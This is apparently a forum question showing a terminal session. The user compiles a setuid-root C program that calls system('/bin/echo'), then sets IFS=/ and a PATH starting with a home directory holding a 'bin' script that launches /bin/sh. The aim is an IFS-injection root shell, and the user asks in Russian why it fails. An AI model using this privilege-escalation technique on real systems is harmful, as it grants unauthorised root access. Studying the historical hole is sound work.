~ $ cat elevate.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, const char *argv[]) {
uid_t r, e, s;
char *ifs = getenv("IFS");
printf("IFS = <%s>\n", ifs);
char *path = getenv("PATH");
printf("PATH = <%s>\n", path);
if (setuid(0) == -1)
perror("setuid");
if (getresuid(&r, &e, &s) == -1)
perror("getresuid");
printf("real = %d, effective = %d, saved = %d\n", r, e, s);
if (system("/bin/echo") == -1)
perror("system");
return 0;
}
~ $ gcc -o elevate elevate.c
~ $ mv elevate /usr/bin/elevate
~ $ sudo chown root /usr/bin/elevate
~ $ sudo chmod u+s /usr/bin/elevate
~ $ export PATH=/home/user/bin:$PATH
~ $ export IFS=/
~ $ cat bin/bin
#!/bin/bash
echo Starting shell...
/bin/sh
~ $ /usr/bin/elevate
IFS = </>
PATH = </home/user/bin:/usr/local/bin:/usr/bin:/bin:/opt/bin>
real = 0, effective = 0, saved = 0
~ $
Проверено на двух шеллах - bash и dash. Почему оно не работает? Даже если после export IFS=/ ввести /bin/date - выведет просто время.